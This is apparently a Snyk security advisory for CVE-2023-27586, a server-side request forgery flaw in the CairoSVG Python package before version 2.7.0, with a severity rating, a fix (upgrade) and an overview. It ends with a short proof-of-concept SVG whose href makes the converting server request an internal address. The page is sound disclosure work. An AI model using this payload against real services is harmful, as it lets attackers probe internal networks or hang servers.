Server-side Request Forgery (SSRF) Affecting cairosvg package, versions [,2.7.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CAIROSVG-3366799
  • published21 Mar 2023
  • disclosed20 Mar 2023
  • creditSukhov Mikhail

Introduced: 20 Mar 2023

CVE-2023-27586  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade CairoSVG to version 2.7.0 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) when processing an SVG file that loads an external resource from a URL. Attackers can exploit this to access files on the server, or cause the service to hang waiting for a response to an invalid file request. This is exploitable whether or not the optional unsafe option is enabled.

PoC

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>

CVSS Scores

version 3.1